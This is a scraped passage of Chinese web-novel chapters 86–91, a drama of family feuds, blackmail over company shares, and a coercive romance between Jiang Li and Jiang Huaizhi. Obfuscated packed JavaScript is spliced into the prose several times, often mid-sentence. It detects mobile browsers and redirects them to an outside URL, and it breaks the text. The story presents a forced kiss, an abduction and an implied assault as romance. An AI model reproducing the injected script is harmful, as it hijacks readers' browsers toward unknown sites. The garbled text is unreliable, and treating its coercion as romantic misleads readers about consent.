“你知道他们今天要干什么?” “昂。”陆临对上姜梨的眸子,有些心虚的摸了摸鼻子,“菱姨提醒过你了,她一早就说过会有人让司承德翻不了身,她知道司南赫去江城搜集证据了。” 想到什么,又补了一句:“江淮之是你哥,我以为这种事情他应该会告诉你,就没说。” 姜梨眼皮垂了下来,没有回答陆临的话,也没有再往人堆里挤。 太着急、太惊慌,她都差点忘记了,他们现在还在吵架,吵架的原因也是因为江淮之从不对她说一句实话。 呵,江淮之是什么人?什么事情该做什么事情不该做,他会不清楚吗?哪里需要她在这里瞎操心? “你不用故意在这里挑矛盾。”姜梨侧眸看着陆临,直接把他的坏心思戳破,顺带着吐槽了他一句:“你都多大人了,还玩这一招?” “我高中的时候就不玩这招了。” 陆临:“………” 司承德的额头上起了一层汗,一边说一边小心翼翼的去摸别在后腰的枪,“是我找到她,给了她一笔钱让她这么做的。司南赫的母亲已经没用了,司家又一直动荡不安,我就再次看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293873|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了逾北苏家。” “南诗奕也是我逼死的。” 全场再次哗然,陆临都惊诧的挑了一下眉毛。 “这是畜生吧?真畜生!” “纯纯靠女人上位,软饭男啊?” “去让被自己抛弃十多年的妻子杀第二任结婚多年的妻子,然后他自己美美隐身………活到现在我是第一次见到这么畜生的人!” 司承曜看着这场面,绝望的闭眼。完了!彻底完了!从今天开始,司家就要彻底背上骂名,被人踩进臭水沟里! 堂堂司家家主,是一个抛妻弃子,走私贩毒的杀妻狂魔! 姜梨心脏上缠绕着的藤蔓又收紧了几分,让她的胸口痛的连呼吸都有些困难。 突然想起来,她在得知江淮之很快就要离开这里,回到司家的消息时候问了江淮之好几个问题。每一个问题都是想要拦住他,不要他回去。 “他们都不要你了,还有了一个优秀的继承人,你为什么还要回去?” “你在这里不开心吗?” “他们不仅没有想过要找你,还一直都在派人追杀你,你为什么非要回去!?” 江淮之只给了她一句冷冰冰的回答:“这不是你该管的事。” 这句话像一根长针扎进她的心脏,然后她的心口都是尖锐又绵长的痛,也像是一个耳光扇在了她脸上。 这是他的私事,她没有资格管。 “你走了,就再也不要回来。” 不知道真相的姜梨不理解江淮之为什么一定要回司家,为什么一定要去跟那些人争。他自己说过,他讨厌那样。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面 更精彩! 第86章 跪下,磕头,认错 娜姐那边苏菱和司南赫会安排。 陆临和姜梨站在路边,他偏头看着姜梨,“我送你回去?” 姜梨的手插在外套口袋里,摸到了塑料薄膜,眼神闪了闪,“你先回去吧,我一会还有点事。” “怎么?要去哄你哥哥?” “………”姜梨没解释,没说是,也没说不是。 正当陆临还想说什么的时候,背后响起来楚云的声音:“小梨,我们谈谈?” 姜梨眸子里划过一丝笑,然后扭头看向她,打量起她的神态表情还有动作。 楚云那张脸上略微有些疲态,眼里掺着红血丝,眼下还有一层淡淡的乌青。 尽管疲惫又憔悴,还依旧不忘伪善,做出一副和蔼亲切的好妈妈模样。 “谈什么?”姜梨唇边挂着讥笑,声调拔高了一些:“谈你跟沈君临苟合生下来的野种雇凶谋杀我,还是谈她蓄意纵………” 楚云脸色微变,厉声打断她:“姜梨!胡说八道也要有个限度!” 今天,楚云是第二个说她在胡说八道的人。 本来心情就不妙,还非要往枪口上撞。楚云真的以为她还是那个任她揉搓的面团吗? “上一个说我在胡说八道的人已经死了。”姜梨微微眯了眯眼睛,“你回北城是要在天上飞两个多小时的,别飞着飞着突然就坠机了。” 姜梨又“好心”的提醒了一句:“记得坐私人飞机,自己找死,别祸害其他无辜的乘客。” 陆临听着她的话,差点忍不住笑出来,姜梨这张嘴是cuidu 楚云被姜梨这段话气得脸青白红不断交替,原本脸上和蔼可亲的表情也变得无比僵硬难看。 她深呼了一口气,好声好气的又重复了一遍:“小梨,妈妈想跟你好好的谈一谈,不要这么夹枪带棒的好吗?” “好啊。”姜梨原本笑盈盈的一张脸骤然变得冷冽,冷声一字一句的对她说:“你跪下来给我磕三个头认错,我可以跟你好好谈。” “你说什么?!” 楚云的笑僵在了脸上,不可置信的瞪大眼睛,看姜梨的眼神像是在看什么怪物。 “沈月汐雇凶杀我,当时要不是谢鹤扬刚好路过,江淮之和叶辞他们后来也及时赶到,我和陆临可就被乱枪打死了。”姜梨冷笑,“你都能眼瞎心盲的帮她遮掩、收拾残局,现在替她下跪认个错又怎么了?” “你!”楚云彻底被她气到了,扬起手就要往姜梨脸上招呼。 陆临眼神一敛,把姜梨拉到自己身后,抬起手捏住了楚云的手腕,“我看在姜梨的面子上才没有上门寻仇,你还敢当着我的面动手打人?” “你们沈家是活的不耐烦了吗?!” 话音刚落,陆临就重重的甩开她的手腕,表情顷刻之间变得阴沉。 他的力道很大,楚云被他这么一甩,身形不稳差点摔在地上。 姜梨面色不变,微微扬了扬下巴:“想要好好谈你就跪下,让我看看你的母爱有多深。” 最后半句话,是赤裸裸的威胁。 楚云看着眼前的女孩,原本气急的心突然就平缓了下来。 差点忘记了,姜梨是姜祈安的亲妹妹,身上流淌着姜铭生的血,又和江淮之很亲近。 三个疯子教出来的人,也必定是个疯子。 今天她若是不跪,明天沈月汐纵火烧死人的事情就会被姜梨捅出去。 绝望的闭了闭眼,楚云狠狠磨了一下后槽牙。在大雪纷飞的街边,双腿一弯,毅然决然的跪在了姜梨面前。 谢鹤扬和叶辞等人刚出来,就看到了这么一个场面,都惊的站在了原地。 楚云的嘴唇颤抖,捏紧拳头,当真忍辱负重的给姜梨磕了三个头。 正当她要站起来时,姜梨出声了:“先别急着起来。” 她抬眼看向走出来的几个人,看了一眼叶辞,又扫了一眼谢鹤扬。 姜梨的眼睛和嘴唇都止不住的弯起,那双桃花眼里却无半点笑意,淡淡的吐出一句话:“转过去,给叶辞和谢鹤扬也磕三个。” 她的声音不大不小,刚好够所有人听清楚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293874|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢鹤枭看了一眼谢鹤扬,不懂其中的弯绕。 楚云的身体僵住了,饶是为了沈月汐,她也忍受不了这样的屈辱,眼圈都红了起来,几乎是从牙齿里挤出来一句话:“姜梨,你别太得寸进尺!” 姜梨声音平淡:“小时候她污蔑我推了孕妇,高中的时候用死猫吓唬我,钢琴大赛前夕给我下过量的安眠药,让我错过比赛。” “三番两次想要我的命也就算了,还两次伤及无辜。上一次是别人,这一次是谢鹤扬他们几个。”姜梨特地咬重了“两次”二字,眉毛轻挑,“我请问你呢?我到底得了什么寸?又进了什么尺?” “不愿意磕就赶紧滚,别在这里跟我装母爱深沉的戏码,你不嫌累我还觉得恶心。” 所有人都出奇的没有出声,有人想凑上来,被陆临和叶辞一个犀利的眼神给逼退。 楚云现在完全被架在了篝火之上的火架上,被姜梨捏着命门,只能任她来回翻动炙烤。 做足了心理建设,身体机械的转了个方向,当着所有人 的面,弯腰,磕了三个头。 这样是很爽,但是谢鹤扬和叶辞心里却总觉得怪异,察觉到了姜梨的不对劲。 她的眼神里是挑衅,是威胁。周遭的气息是压抑了许久以后,不断泄出来的极致的愤怒,很明显是已经在快要失控的边缘。 叶辞眉心微蹙,大脑快速的转动。 沈月汐要杀她,楚云帮忙清理痕迹善后,这种事情姜梨根本不可能会是这种反应。 那是为什么? 还有楚云,连当众下跪磕头这种事情她都能答应姜梨,很明显就是被姜梨捏到了命门。 想到刚刚灵堂里放的最后一段视频,以及楚云的反应,叶辞的心口猛地跳了一下。 难道是因为林遥? 林遥的死,跟沈月汐和楚云有关? 楚云的三个头磕完,姜梨快要结冰的表情和眼神立刻开始融化,又变回了一只温顺内敛的白兔。 “起来吧,我心情现在好了一点,可以跟你谈半个小时。” 第87章 我要百分之十四的股份 叶夫人跟苏菱的关系不错,就去慰问了她几句。 回到车上,只看到了叶辞和司机,眉心蹙了起来,“二梨呢?我不是让你叫她跟我们一起走的吗?她跟陆临走了?” 姜梨如果真跟陆临走了还要好一些。 如果说出来姜梨是跟楚云走了,他妈估计要把他的天灵盖给拧下来,居然让姜梨跟着这么一号危险人物离开。 叶辞面不改色的“嗯”了一声。 “你就这么让她跟陆临走了?”叶夫人剜了他一眼,“叶辞,你是缺心眼吧?” 叶辞看着她,有些不明所以。 “姜梨多招人喜欢啊?你就这么让她跟陆家四少爷单独待一起?陆临又长得那么俊,万一擦出点火花,你就更没戏了。”叶夫人越想就越觉得叶辞缺心眼,忍不住骂了他一句:“侬脑子瓦特了。” 叶辞真真是被气笑了,“妈,我长得难道很丑?姜梨要是只喜欢长得好看的,也不会一直拒绝我了。” 丑那倒不至于,平心而论叶辞长得也算好看,硬朗板正,就是有点太凌厉过头了。 叶夫人上下打量起叶辞,最后得出一条结论:“就是太凶了,不讨小姑娘喜欢。” 叶辞“啧”了一声,“那没办法了,谁让你当初就看上我爸了?怪他去。” 结果当天晚上,叶上将就被叶夫人赶去了书房,理由是:她看上的准儿媳被他这张脸给吓跑了。 ……… 劳斯莱斯缓慢开到了市中心。 车流密集,红绿灯跳跃闪动,车子缓慢停了下来,前面在堵车。 纪繁星看向窗外,眼神顿了一下,然后直直的定在了一块巨大的电子屏幕上。 姜梨的脸在上面被放大了无数倍,手里握着一把长刀,出鞘的一瞬间,燃烧的火焰快速的包裹住了整个刀身。 她挥刀的动作很干净利落,姿势也足够标准,每一下都在空中留下漂亮的火弧,火花四溅。身体旋转,身体轻盈,挥刀时力量感十足。 姜梨的这段耍火刀时间并不长,也就只有三十几秒,直到南诗奕的正片出镜她才知道,姜梨只是示范,她是南诗奕的“老师”。 堵车也是因为大屏幕上的这段MV,不少人特意停下来观望。 纪繁星嫌车窗碍事,降了下来,方便她看的更清楚。 因为是循环播放这一个视频,谢鹤枭顺着她的视线看过去时,也正好看到了姜梨挥刀的那三十几秒的片段。 不论是挥刀的动作,还是刀法,都比武打片里拍出来的更标准。 纪繁星的眼睛瞬间亮起来,立刻扭头去看谢鹤枭,“枭哥,我是禁火大使,今年的宣传片还没有拍,我能请姜梨一起吗?” 谢鹤枭看着她,一时间愣了一下。 她的眼里闪动着光,比燃烧的火焰还要亮,满眼希冀的看着他,脸上都是雀跃和期待。 纪繁星不是没有这样过,但是都是七分真,三分假。这一次,倒是十分的真诚。 真假掺半他都没办法说出一个“不”字,更何况是现在这样?更是让人没有办法拒绝。 “你是想让她教你,还是让她来出镜?” 纪繁星又看了一眼电子屏幕,“她教我的话应该也不行吧?我就算是练一年都练不了那么标准,宣传片肯定是要最好的才行。” 谢鹤枭莞尔,“如果是这样的话,姜梨同意了,我就没意见。” 纪繁星闻言,笑意更浓,立马摸出手机就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293875|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要给姜梨打电话。 突然她停了下来,抬头有些茫然:“我好像,没有她的联系方式……” 傻女。 谢鹤枭看了一眼副驾驶上同样在看大屏幕的谢鹤扬,淡声道:“鹤扬,你能联系到姜梨吗?” “昂。”谢鹤扬回过神,他没有她的电话号码,只能给她拨去了一通微信语音通话。 ……… 殡仪馆附近也没有什么咖啡馆这样的地方,姜梨的防备心很重,不愿意跟着楚云去更远的地方,谁知道她会不会和沈月汐一样丧心病狂? 最后两个人是在车上谈的。 “我已经知道林宴刑满以后是你把他接出来的,也是你把他带到北城的。”姜梨直接开门见山,丝毫不拖泥带水,“火是沈月汐放的,人是她引过来的,这些我全都知道了。” “我可以把证物交给你,也可以不告沈月汐。” 楚云抬起眼皮看着她,“你想要什么?” 姜梨听到她的话,笑了起来,“很简单啊,我要姜氏的股份。” “你说什么?”楚云的脸色变了变,想到姜梨手里的证物,她忍了忍心里的那股怒火,问她:“你想要多少?” “沈月汐值多少?” 楚云淡淡开口:“百分之七。” “嗤。”姜梨嗤笑一声,目光变得玩味,“用区区百分之七就想封我的口,还要从我手里拿到林遥被沈月汐害死的证物,你在商场上也这么跟人谈条件?那姜氏迟早被你干倒闭。” “百分之十。” 姜梨伸出一根食指晃了晃,“那就翻倍,百分之十四。一半用来封口,一半销毁证物。” 这章没有结束,请点击下一页继续阅读! 第88章 江先生,我们还在吵架 谢鹤扬的第一通电话打过去,一直到铃声中断都没有人接。 过了五分钟,他又重新打了一个,这一通则是被姜梨挂断。 想到姜梨是跟楚云走的,而且是在谈事情,谢鹤扬也就没再执着。收起手机,对纪繁星道:“先回酒店,姜梨现在应该忙着和她那个妈博弈,晚点我再帮你联系她。” 纪繁星点了点头。 另一边。 姜梨打算原路返回殡仪馆,江淮之应该还没有离开。陆临刚刚说的也没有错,她的确有要去安慰江淮之的打算,所以才没有反驳。 亲手送走了亲妈,现在又亲手送走了亲爸。 就算是没有感情,他的心里也不会好受。 他们是在吵架,姜梨也还在生气,但是在这种事情上,她也想哄哄他。 殡仪馆附近本来就人烟稀少,现在天色已经彻底黑了下来,别说是行人了,大街上就连车都没有一辆。 姜梨的听力好的离谱,她刚走出去没几步,就听到了在她身后不远的距离有脚步声。 有人在跟踪她!还不止一个! 脸色微微变了变,脑子里一瞬就想到了一个人,沈叙! 今天是司家的葬礼,江淮之要忙着收拾残局,根本腾不出手来看着她。 的确是他出手的好时机。 怎么办?要打吗?还是直接跑? 不行的,这里是郊区,动静再大也不会有人注意到。而且,她现在也打不过这些人。 她的腰,她的膝盖现在已经痛到了难以忍受的地步了,连走路都疼。 一旦动手,那沈叙就会知道,之前和谢鹤扬在一起端了他们手底下一个组织的人就是她。 姜梨尽量让自己的肢体动作不那么僵硬,控制着自己的脚步,手却伸到了大衣外套的口袋里,不动声色的摸出手机,拨了江淮之的电话。 时间一分一秒的过去,姜梨不断在心里祈祷,一定要接啊! 电话被自动挂断,江淮之没有接。 闭了闭眼,脸上和鼻尖都出了一层汗,她紧紧捏着手机的手都有些微抖,不断的翻滑着联系人的页面。 突然手机震动起来,顶端弹出来微信语音通话的横幅,点开看到来电人眼睛一亮。 是谢鹤扬! 正要点下接听,就猝不及防的撞上了一堵肉墙。 他的身上,有熟悉的香水味。 心脏重重的跳了一下,一股微妙的感觉传遍全身,一抬头就对上了那双凤眸。 眸色漆黑,眼神深邃。像是宇宙中的黑洞,要将人吸进去一般。 姜梨的心跳漏了一拍,喉咙都开始发烫,眼圈不受控制的红了一圈。 是江淮之。 江淮之的手掌摁着她的后脑勺朝着自己胸口压,他抬起眼皮,看着对面不敢再追过来的三个男人,目光骤然变得无比寒凉,像是在看死人。 “滚!” 他的声音像雪夜里结下的冰,冷的让姜梨下意识抖了一下。 江淮之不是什么好惹的主,那三个人哪里还敢多停?不到一分钟的时间,就彻底消失在了大街尽头,仓皇失措的去跟沈叙汇报。 不知道过了多久,姜梨呼吸有些困难。她伸手推开他,拉开了一点距离。 “刚刚在殡仪馆门口不是很凶吗?怎么这会又弄的可怜兮兮的?”江淮之看着她泛红的眼眶,抬起手想要替她整理乱掉的头发,姜梨后退几步,躲开。 “打不过。”她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293876|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下巴埋进围巾里,低着头,闷声道:“谢谢。” 江淮之收起落空的手,朝着她走近几步,问她:“你谢谁?” “谢谢你。”姜梨看着他的动作,皱眉退后一步,然后又重新说了一遍,还要特地咬重了那个‘你’字。 他无所谓的继续逼近,“你,是谁?” 姜梨就是不要离他这么近,就是要拉开最起码一米远的距离。一边回答他的问题,一边继续后退,“江淮之。” 看他还要继续接着问,姜梨眉毛一皱,停下来瞪着他,“我说,你一个快二十八岁的老男人为了个莫须有的称呼就这样,幼不幼稚啊?” “你说话就说话,非要凑那么近干什么?” 江淮之笑了一声,反问她:“电话不是你给我打的?不是你让我来的么?用完就丢?” 姜梨提醒他:“江先生,我们还在吵架。” 救完人,道完谢就该走了,吵架就要有吵架的样子,她是什么很好糊弄的人吗? 还没等江淮之说话,姜梨的手机再度震动起来,黑掉的手机屏幕再度亮起,谢鹤扬又打了一通电话过来。 姜梨的眼神顿了一下,下意识就想要接听。 因为谢鹤扬不可能会给她连着打两通电话,除非是有什么急事。 然而江淮之没有给她接电话的机会,直接把手机从她手上枪了过来,替她拒接。 “你干什………唔!” 他的手掌无视系着的围巾,直接伸进去掐住她的脖颈,逼着她仰头,紧接着附身封住她的嘴唇。 齿间被轻松撬开,呼吸瞬间被掳走,江淮之在她的领地肆意破坏、掠夺。 这章没有结束,请点击下一页继续 阅读! 第89章 让我看看你的书法练的好不好 再打他一巴掌,出气? 他的意思就是说,她生气了可以打他,但是他不会把时愿送走,也不会对她毫无保留的说实话。 姜梨仰头看着他,刚刚唇齿纠缠的灼热气息还残存在鼻息间,但是她突然就觉得凉下来了。 身体冷,心也冷。 姜梨冷笑了一声,把手抽了出来,“你宁愿挨巴掌都不愿意送走时愿,既然知道自己没有办法让我真的解气就不要再提。” “司南赫也跟我说让我放时愿走,你也非要让我把时愿送走才能解气。”江淮之神色平淡,目光却锋利无比,“妹妹,你真的是因为在吃醋才非要这样,还是说是有谁跟你说了什么吗?” !? 司南赫怎么…… 也是了,他和南诗奕关系特殊,知道这件事也没什么好奇怪的。 江淮之的这段话让姜梨的心里开始发虚,但是依旧暗暗咬牙,努力让自己的表情不露出任何破绽,她温声道:“港城那边早年间保留着一夫多妻制,虽然后来废除了,但是那些名门望族的风流公子哥也还是妻妾成群。你现在这样的做法,跟他们有什么区别?” “嘴里说只爱我一个,然后扭头就把白月光带到家里来。”姜梨微微仰头,通红的眼睛直直的盯着他,“小孩子被这么骗都要闹绝交,我不是小孩子,所以我从头到尾都没有吃醋,我是单纯的觉得这种事很恶心,我在生气。” 姜梨的眼眶发酸,像蓄水的池子,变得残破,里面的泪水摇摇欲坠,随时都会喷涌而出。 喉咙堵的说不出话,怕一开口就要哭,干脆转身离开。 她真的是有病,才会想要来安慰他。她要是和楚云谈完之后就赶紧离开回学校,也不会被沈叙的人盯上。 刚刚江淮之突然亲她,是因为看到谢鹤扬给她打电话了。他会那样也只是因为她不听话,还在和谢鹤扬有联系。 不是因为喜欢,是占有欲作祟,是惩罚。 还反客为主的来怀疑她,想从她嘴里套话,他都可以这样骗她,她又凭什么告诉他实话? 走着走着,脑子里突然就不受控制的想到江淮之把时愿抱在怀里的那个画面,尽管只是一张照片,也能感受到他的动作有多么的轻柔,又是多么的小心翼翼。 像是对待什么罕见的珍宝一样。 那可是他喝的烂醉都在想着的人,他又怎么可能会突然就不喜欢了? 她真是脑子缺根筋,才会轻易相信江淮之说的那句:只爱你一个。 不,不对。 不是她的脑子缺根筋,姜梨知道自己聪明,不然纪繁星也不会选中她来帮忙遮掩身份。毫不夸张的讲,她这两天做的事情,完全是在把楚云和沈月汐两个人当狗玩。 就连谢鹤枭这个老狐狸,她都能和他周旋的有来有回,把他耍的置身迷雾之中,怎么绕都绕不出去。 她可是姜祈安的妹妹,脑子怎么可能会少根筋? 分明就是她太喜欢江淮之,才会被他骗。 真是有够烦人的,气死她了。 身后追上来的脚步声不断刺激着她的耳膜,让她心里的怒意愈演愈烈,转过身对着江淮之怒吼了一句:“你别跟着我!话都说完了就赶紧走啊!找别人去啊!找你的时愿去啊!招惹我做什么!” 江淮之不过就是仗着她年纪比他小,仗着她喜欢他,所以才敢这样欺负她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293877|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜梨的额角青筋凸起,积压的怒气是着了火的火球,越滚越大,散发的腾腾热气直窜大脑,一张脸越来越红。 他都可以把时愿留在身边,她又凭什么要听他的不跟别人来往? 只许官家放火,不许百姓点灯吗? 她不仅要放火点灯,还要点燃炸药,她以后就算是跟别人私奔了他也没资格管她! 江淮之一把拽过她的胳膊,姜梨甚至都还没看清楚他的动作,只感觉一阵天旋地转,她就被他扛在了肩膀上。 姜梨腾空的脚不断的踢他,脸都涨成了紫红色,“你是不是有病!你放开我!” 江淮之迈着长腿朝着拐角的巷道走过去,胳膊揽着她的大腿,对她不痛不痒的拳打脚踢全然不理会。 姜梨觉得她刚刚发的一通火,好似一拳打在了棉花上。那些问题都还没有被好好的解决,连一个像样的解释都没有,不是强吻,就是强行把她带走。 她已经好久没有这么生气过了,后槽牙都要被她给咬碎,对着他破口大骂:“江淮之!你这叫强抢民女!你这是犯法的!” “嗯,那又怎么样?我本来就不是什么好东西,就当你是在夸我了。” 江淮之的行为恶劣,说话的语气也恶劣,气得姜梨又踢了他好几下,在他的西裤上留下几个浅灰色的鞋印。 江淮之面色不改,就这样扛着姜梨走回了她刚刚从楚云车上下来的地方,谢铭已经在这里停了很久。 在姜梨跟楚云上车以后,江淮之就让他偷偷的跟着两个人,他早就发现了沈叙的人提前告知了江淮之,所以才能来的那么快。 这章没有结束,请点击下一页继续阅读! 第90章 各过各的 他的最后一句话,让姜梨感觉全身都被电了一下,有些发热,又有些发麻。 江淮之的行书练得很好,写出来的字飘逸潇洒,又有些张扬。姜梨的书法,就是他教的。 又是去抓沈月汐,又是让她签股份转让书。 姜梨的情绪一下子就卡在了一个不上不下的位置,气也不是,不气也不是,让人难受的连呼吸都觉得困难。 抿了抿唇,尽量让自己的语气平和,“我不要这个,我要你把时愿送走。” “迟一点都不行,就要现在。” 江淮之眼眸漆黑,嘴唇的弧度变浅,“妹妹,还没到时候,先签字。” 姜梨不想听这样模糊不清的说辞,眼神固执又带着审视,“为什么还没到时候?是因为你还喜欢她所以才想多留她一段时间吗?” “你要真这么喜欢她,想把她留在你身边的话,就放我走。” 江淮之敛眸,“我有事情要做。” 姜梨不依不绕,追问他:“你说你不会娶傅绾,但是你们的联姻关系到现在都还没解除。现在又来一个时愿,到底是什么事情让你非要留下这些女人?” “你到底要做什么事情?” 她现在就像是个一定要得到糖果的小孩,如果不给她,就要不眠不休的闹个三天三夜。 不对,可能远远不止三天。 “现在还不能说。” 姜梨继续反问:“是现在还不能说,还是不能跟我说?” 江淮之沉默,车内陷入了诡异的安静之中。 可能是一分钟,又或许是两分钟,姜梨都没能听到他的回答。 沉默就等于默认,怎么不算是回答? 不是不能说,是不能跟她说。 姜梨扯了一下唇角,无声的自嘲一笑,然后拿起笔,“刷刷”几下签上了自己名字,合上文件夹,放到了他的大腿上。 身体放松,靠着椅背,她扭头看着车窗外的夜色。 —— 二十分钟以后,车子停在了中医馆门口。 江淮之替她开了车门,手递了过去,“下车。” 姜梨轻轻扫过,没有像之前一样握上去,直接无视,慢吞吞的从车上下来。 看都不看他,自己率先走了过去。 还没进去中医馆,姜梨就已经闻到了扑鼻而来的中药味。 伴随着这股难闻的味道,一段记忆涌进她的脑海,想起来十八岁那一整年,三百六十五天都在喝一袋又一袋的中药,姜梨的生理和心理都开始反胃,想呕。 她正想退回去拿口罩的时候,耳朵上就已经挂上了一条细线,江淮之帮她整理好口罩,然后不由分说的牵着她走进去。 不要他碰。 姜梨皱着眉挣了几下,没能挣开,只能被迫被他牵进去。 奇怪的是中医馆出奇的清净,一个病人都没有,只有一个穿着白大褂的年轻女人站在药柜前抓药、称重。 看到江淮之带着姜梨进来,手上的动作停了下来。她先是看了一眼两个人交握的手,然后又去看姜梨,眉梢轻轻挑了一下。 这就是宋折和陆七一直说的那个姑娘,叫姜梨。 尽管戴着口罩,但是仅凭那一双眼睛也能看得出来,的确是个美人坯子,跟姜祈安挺像。 她一边取下戴着的手套,一边对江淮之道:“来得太慢了。” 江淮之没有解释,言简意骇:“看膝盖。” 女人应了一声,从药柜里出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293878|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,领着姜梨到看诊区坐下。 抬手拉开蓝色的帘子,形成一个隐秘的空间,江淮之在外面等。 “裤子卷起来。” 姜梨顿了一下,然后弯腰把两条裤腿都卷了上去,露出两条纤细修长的小腿,膝盖已经有些微微肿了起来。 医生伸出手捏了捏,然后眼神略带不满的看了姜梨一眼,“膝盖有积液,说明已经发炎很久了,这么痛都不去看医生,你当你自己是铜墙铁壁啊?” 姜梨眼神闪了闪,抿唇看着她,压低声音小声问:“姐姐,你是江城人吗?说话的语气有点像。” 医生以为她这是怕被骂,所以在转移话题,没有多想,轻轻“嗯”了一声,后来捏膝盖的动作和询问的语气都缓和不少。 检查完,她掀开帘子,然后虎着一张脸看着江淮之,“你这小女朋友明显就是受伤的时候没有好好治,硬生生作成这样的。我给她开几帖药膏贴,注意防寒保暖,可以适当热敷一下关节部位。” “一定一定要避免负重运动,爬山,跳舞或者跑步都不可以。” “贴完这些以后来复查。” 不能跳舞。 怪不得姜梨自打从港城回来,就没有再跳过舞,也就那次宴会上跟叶辞跳了一小段。 江淮之轻轻应了一声,想想又开口道:“拿一瓶药油,还有一管地奈德。” 地奈德是洛骞给她开的那管药膏,治皮疹的。 他连这个都知道,洛骞肯定把事情经过都告诉江淮之了,包括她动了洛骞电脑的事情,估计也告诉他了。 走的时候江淮之说了声:“谢谢宋医生。” 小主,这个章节后面还有哦,请点击下一页继续 阅读,后面更精彩! 第91章 不要把心思动到姜梨身上 姜梨拎着药从车上下来,头发有些凌乱,长长的睫毛上挂着几颗晶莹的水珠,唇瓣破了一个口子,还往外冒血丝,全身都在微微颤抖。 身体的某个部位还能清晰的感受到难以言说的不适感,感受几乎是刻进骨子里,没有办法磨灭。 姜梨胡乱的在外套口袋里摸了一下,摸到那枚红钻戒指,捏起来就朝着江淮之身上丢。 戒指砸到他的下巴弹了一下,然后掉在了他脚边。 姜梨倔强的憋着眼泪,不让它掉下来,认真的对着江淮之一字一句道:“我讨厌你!” 江淮之身体一顿,干涩的喉咙有些堵。 姜梨说完就重重的摔上车门,好似它是江淮之本人。 前排的谢铭听到关门的声音,又透过挡风玻璃看到逃似的进了学校,也不知道是不是因为跑的太急,差点摔倒,就好像是身后有什么洪水猛兽在追她似的。 他的嘴角抽了一下。 江总这又犯什么事了,少夫人怎么越来越生气了? 江淮之抽出一张湿巾纸,一点点擦拭干净手指沾上的水渍,然后弯腰捡起掉在脚边的戒指,唇角绷的笔直。 打开车窗通风,隔板降下来。 江淮之点了一根烟,声音像被割开的冰块一样冷:“谢家查的怎么样了?” 谢铭把韩斯年那边说的原话转述给了江淮之:“韩总给的答复是没有任何问题,不管是本家还是旁支,都没有查到谢家跟毒挂钩。” 江淮之嘴角泛冷。 上次在港城,谢鹤枭跟他暗示自己是姜祈安的人,但是江淮之又查到他和沈叙来往非常密切,而且非常隐秘,查起来还费了一些时间。 沈叙贩毒已经是不争的事实,姜祈安就是因为发现了这一点才被灭口。 